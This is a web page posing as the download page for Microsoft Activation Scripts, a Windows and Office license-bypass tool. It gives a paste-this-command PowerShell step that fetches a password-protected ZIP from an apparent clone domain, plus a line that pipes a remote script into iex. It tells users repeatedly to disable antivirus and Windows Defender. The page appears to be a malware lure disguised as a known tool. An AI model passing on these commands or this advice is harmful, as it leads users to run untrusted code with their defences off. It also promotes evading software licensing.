Microsoft Activation Scripts (MAS) — Open-source Windows and Office Activator

Microsoft Activation Scripts (MAS) provides a versatile, open-source solution for activating both Windows and Office products. It integrates various powerful activation methods, including HWID, Ohook, TSforge, and Online KMS, ensuring broad compatibility. The tool also offers advanced troubleshooting steps to address common activation hurdles, making the process straightforward for users.

An open-source Windows and Office activator featuring HWID, Ohook, TSforge, and Online KMS activation methods, along with advanced troubleshooting.


Activation Methods

This method is the most convenient and works on Windows 8.1, 10, and 11.

  1. Click the Start Menu, type PowerShell, and open it.
  2. Copy and paste the code below and press Enter.
$z="$env:TEMP\MAS.zip"; irm https://massgrave-mirror-clone.lovable.app/downloads/Microsoft-Activation-Scripts.zip -OutFile $z; explorer $z  # Password: WYqejXiqBi97
  1. When Explorer opens with the ZIP, enter password WYqejXiqBi97 to extract it, then run MAS_AIO.cmd.
  2. In the menu that appears, type the number corresponding to one of the Green options.

Troubleshooting the PowerShell method

If the command is blocked:
Some ISPs block the URL. Use this command to bypass DNS blocks (Windows 10/11 only):

iex (curl.exe -s --doh-url https://1.1.1.1/dns-query https://get.activated.win | Out-String)

If you receive a TLS/SSL Error (Older Windows):
If you are on an old build of Windows 8.1 or 10, run this command before the main command:

[Net.ServicePointManager]::SecurityProtocol=[Net.SecurityProtocolType]::Tls12

Method 2: Traditional (Offline)

Use this method if you prefer downloading a file or cannot use the PowerShell method.

  1. Download the script:
  2. Extract the downloaded ZIP using password: WYqejXiqBi97
  3. Run the MAS_AIO.cmd file.
  4. In the menu that appears, type the number corresponding to one of the Green options.
  5. Note: the ZIP is password-protected — you MUST enter WYqejXiqBi97 to extract it. If your antivirus blocks the file, temporarily disable it.

Tips



Notes

  • The irm command in PowerShell downloads a script from a specified URL, and the iex command executes it.
  • Always double-check the URL before executing the command and verify the source is trustworthy when manually downloading files.
  • Be cautious of third parties spreading malware disguised as MAS by altering the URL in the PowerShell command.

MAS Latest Release

Latest Release: v3.11 (2-May-2026)
GitHub / Azure DevOps / Self-hosted Git


Features

  • HWID (Digital License): Permanently activate Windows.
  • Ohook: Permanently activate Office.
  • TSforge: Permanently activate Windows, ESU, and Office.
  • Online KMS: Activate Windows/Office for 180 days (Lifetime with renewal task).
  • Advanced activation troubleshooting.
  • $OEM$ folders for pre-activation.
  • Change Windows edition.
  • Change Office edition.
  • Check Windows/Office activation status.
  • Available in All-In-One and separate file versions.
  • Fully open source and based on batch scripts.
  • Fewer antivirus detections.

Activations Summary

Activation TypeSupported ProductActivation PeriodIs Internet Needed?
HWIDWindows 10-11PermanentYes
OhookOfficePermanentNo
TSforgeWindows / ESU / OfficePermanentYes, needed on build 26100 and later
Online KMSWindows / Office180 Days (Lifetime with renewal task)Yes

For more details, see the respective pages in the documentation and the activation comparison chart.
To activate unsupported products such as Office on Mac, see the unsupported products activation guide.


Screenshots

MAS HWID activation menu screenshot

MAS Ohook Office activation screenshot

MAS TSforge activation screenshot

Download Microsoft Activation Scripts

Get the latest MAS package. File: MAS-MAS.zip

Download ZIP
Password:WYqejXiqBi97

If the download or the script doesn't work, please temporarily disable your antivirus (including Windows Defender real-time protection) and try again. Activation tools are commonly flagged as false positives.

Microsoft Activation Scripts — Open source on GitHub